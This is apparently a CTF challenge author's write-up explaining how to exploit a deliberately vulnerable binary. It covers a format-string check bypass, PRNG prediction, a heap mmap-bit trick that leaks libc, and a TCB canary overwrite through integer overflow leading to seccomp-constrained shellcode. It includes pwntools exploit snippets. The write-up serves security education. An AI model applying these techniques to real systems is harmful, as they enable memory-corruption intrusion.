The binary is standard x86 64-bit Dynamic stripped executable. Additionally , glibc 2.31 , the loader and libseccomp has been provided so that there are no heap mismatches later.
Here’s the output of checksec -
1 2 3 4 5 6
CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : ENABLED RELRO : FULL
line CODE JT JF K ================================= 0000: 0x200x000x000x00000004 A = arch 0001: 0x150x000x1f0xc000003eif (A != ARCH_X86_64) goto 0033 0002: 0x200x000x000x00000000 A = sys_number 0003: 0x350x000x010x40000000if (A < 0x40000000) goto 0005 0004: 0x150x000x1c0xffffffffif (A != 0xffffffff) goto 0033 0005: 0x150x1a0x000x00000003if (A == close) goto 0032 0006: 0x150x190x000x00000005if (A == fstat) goto 0032 0007: 0x150x180x000x00000009if (A == mmap) goto 0032 0008: 0x150x170x000x0000000aif (A == mprotect) goto 0032 0009: 0x150x160x000x0000000bif (A == munmap) goto 0032 0010: 0x150x150x000x00000014if (A == writev) goto 0032 0011: 0x150x140x000x00000020if (A == dup) goto 0032 0012: 0x150x130x000x00000021if (A == dup2) goto 0032 0013: 0x150x120x000x00000023if (A == nanosleep) goto 0032 0014: 0x150x110x000x00000025if (A == alarm) goto 0032 0015: 0x150x100x000x00000038if (A == clone) goto 0032 0016: 0x150x0f0x000x0000003cif (A == exit) goto 0032 0017: 0x150x0e0x000x00000048if (A == fcntl) goto 0032 0018: 0x150x0d0x000x000000e6if (A == clock_nanosleep) goto 0032 0019: 0x150x0c0x000x000000e7if (A == exit_group) goto 0032 0020: 0x150x0b0x000x00000101if (A == openat) goto 0032 0021: 0x150x0a0x000x00000111if (A == set_robust_list) goto 0032 0022: 0x150x000x040x00000000if (A != read) goto 0027 0023: 0x200x000x000x00000014 A = fd >> 32# read(fd, buf, count) 0024: 0x150x000x080x00000000if (A != 0x0) goto 0033 0025: 0x200x000x000x00000010 A = fd # read(fd, buf, count) 0026: 0x150x050x060x00000000if (A == 0x0) goto 0032 else goto 0033 0027: 0x150x000x050x00000001if (A != write) goto 0033 0028: 0x200x000x000x00000014 A = fd >> 32# write(fd, buf, count) 0029: 0x150x000x030x00000000if (A != 0x0) goto 0033 0030: 0x200x000x000x00000010 A = fd # write(fd, buf, count) 0031: 0x150x000x010x00000001if (A != 0x1) goto 0033 0032: 0x060x000x000x7fff0000return ALLOW 0033: 0x060x000x000x00000000return KILL
A few syscalls among openat , read and write have been left open intending for an orw shellcode in the end. But , there are seccomp contraints which let you read only from fd 0 and write only to fd 1. There are simple ways to pass them which we’ll see towards the end of this post.
Reversing and exploit development
The binary initially asks for a name and an unsigned int Age. Before all this , it initially mmaps a writeable region and then calls a function which generates a random 2 byte constraint.
Finally the mmaped region is mprotected to be read-only.
Later on , the age is verified with the 2 byte contraint which has to be satisfied by the format string vulnerability.
An unintended flaw
The only thing I forgot to do was add a check to age (< 0x900) , so that only format string can be used to bypass the check to enter the secret service.
But since I didn’t add a check, the format string is rendered useless as participants can directly calculate the age from the library using ctypes or plain python and give that as age :(.
But now I’d like to discuss how you could do it the intended way using format string.
Well , I’ve included the fixed binary in the handout folder and now u can try the challenges without any unintended flaws :).
The intended way to get into the secret service
Here’s the exploit snippet which mimics the 2 byte contraint.
#Mimicing the random function implemented by binary to break it defget_rand(): toc = c_long() tic = libc.time(byref(toc)) whileTrue: libc.srand(tic/60) lower = 0x1000 upper = 0xffff rand_num = libc.rand()%(upper-lower+1) + lower delay = libc.rand()%300 + 1 end_time = tic + delay tic = tic + delay libc.srand(end_time/30) rand_num_2 = libc.rand()%(upper-lower+1) + lower region = rand_num & rand_num_2 if(region>0x1000): return region
Now that we have calculated the age , we need to somehow overwrite the age pointer with this so that we pass the check.
Triggering the format string bug
You can think of directly overwriting the age pointer with the afore calculated random number , but the issue is , I had added checks for directly not allowing numbers greater than 0x900 to be present in the input string.
//%n is allowed in format string , but u cant write large numbers (greater than 0x900) with %n voidcheck_num(char *p) { while (*p) { if ( isdigit(*p)) { long val = strtol(p, &p, 10); if(val>0x900) { puts("Not allowed"); Exit(); } } else p++; } return; }
So it only leaves us with the solution of writing the random number on stack and then copying it from there to the age pointer.
We can copy numbers from stack using %*offset$d. Let’s use it in our exploit.
1 2 3 4 5 6 7 8 9 10 11 12
if __name__=="__main__":
region = get_rand() log.info("region = " + hex(region)) #Using format string to pass the initial check , to enter the secret_service payload = ('%*18$d' + '%15$n').ljust(16,'a') + p64(region) sa("Name: ",payload) sla("Age: ","123") sleep(1)
With this , we satisfy all checks and enter the secret service.
The secret service is pretty much a commonplace menu driven code with Enroll , View , Remove and an extra functionality which I termed as Hack. Later on , a feedback is requested which initialises a separate thread to do stuff.
But why so much obfuscation just to take a feedback , there’s a reason for that guys, hold your horses.
voidHack() { if(hacked>1) { puts("No more hacking allowed!"); return; } printf("Enter index of Enrolled Candidate: "); unsignedint index = getInt(); if(!enrolled_table[index] || index<0 || index > 2) { puts("Invalid Index!"); return; } char* hack_addr = enrolled_table[index] - 8; //printf("Hacking chunk %llx\n",hack_addr); *(hack_addr) +=1; hacked++; return; }
Well this function is obviously vulnerable as the name suggests
It lets you hack a free chunk.
It lets you add 1 to the size of any chunk (free/allocated) but only twice in the whole program.
So what can we do with this?
If we can add 2 to the size of a free chunk , we end up setting the mmap-bit of the free chunk , and thus we can fool calloc to return an uninitialized piece of memory.
What this means is that , calloc considers the chunk to be mapped chunk and thus does not call memset internally and this sets up our libc leak.
The Remove function
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
//Remove function , nulls out the is_enrolled bit , but doesnt null out the table voidRemove() { printf("Enter index of Enrolled Candidate: "); unsignedint index = getInt(); if(!enrolled_table[index] || !is_enrolled[index] || index<0 || index > 2) { puts("Invalid Index"); return; } //printf("Removing chunk %llx\n",enrolled_table[index]); if(enrolled_table[index]) free(enrolled_table[index]); is_enrolled[index]=0; enrolled--; return; }
As you can see , the remove function doesn’t null out the table , which lets us hack free chunks.
Now let’s finish up the exploit until leaking libc.
Getting leaks with this information in hand is nothing but a trivial task.
#Add 2 chunks ,one of which is uneffected by tcache add(0,0x600,'b'*0x40) add(1,0x80,'a'*0x40) #Free first one to send to unsorted bin free(0) #Send the unsorted bin to large bin add(2,0x1260,'unsorted bin') #Flip the bit to make the free chunk mapped , which could be used for leaking with calloc hack(0) hack(0) #Now add that chunk to get uninitialised memory from calloc add(0,0xd10,'d'*8) #0x10f0 #view it to leak stuff view(0) #Leaks io.recvuntil("d"*8) libc_base = u64(re(6) + '\x00'*2) - 0x1ec1e0 log.info("libc_base = "+ hex(libc_base)) #Done with leaks , move on
After getting libc leak , there’s not much you can do with the secret service , so , just move on :P.
The final feedback
We have entered the final stage of our program (and exploit too :P) , where we are requested to enter some feedback.
A separate thread is created which calls the thread handler function, create_feedback.
//Create a new thread to handle feedback request voidcreate_feedback() { char feedback[100]; puts("A new thread has been created for feedback"); if((unsignedlong)&feedback < init_0()) { printf("Enter size of feedback: "); scanf("%d",&size); printf("Enter feedback: "); if(size>0x70) { puts("Size too large"); Exit(); } unsignedint fd_stdout = supress_stdout(); unsignedint fd_stderr = supress_stderr(); get_inp(feedback,size); } puts("Thank you!"); return; }
There’s a plain integer overflow as there is no check for size being less than zero and size is int.
But there’s a canary , how do we bypass it?
So here’s the thing , we are getting write over a region known as Thread Control Block. This is the place from where canary is actually loaded into the fs segment register for the stack check fail.
Now we have plain overflow and we can assume there’s no canary , cool isn’t it?
Well what next?
ROP and shellcode to grab that flag
The first thing that comes to mind is , call mprotect on the region we have overflow , and then shellcode. Well , thats it.
Let’s script it till there.
1 2 3 4 5 6
move_on() gdb.attach(io) sla("service?(y/n)\n",'y') #Trigger integer overflow with type confusion bug to get large write on stack sla("feedback: ",'-1')
But as you would have noticed , a weird function supress_stdout is being called which redirects stdout to /dev/null. So how do we get around it? Simple , you just have to mimic it.
Now all we have to do is , write a simple shellcode.
Wait , one more thing , what about those seccomp constraints which let you read only from fd 0 and write only to fd 1.
To open flag at fd 0 , just close fd 0 and open flag , it will open at fd 0 itself.
Now you can read the flag at fd 0 and write it to stdout.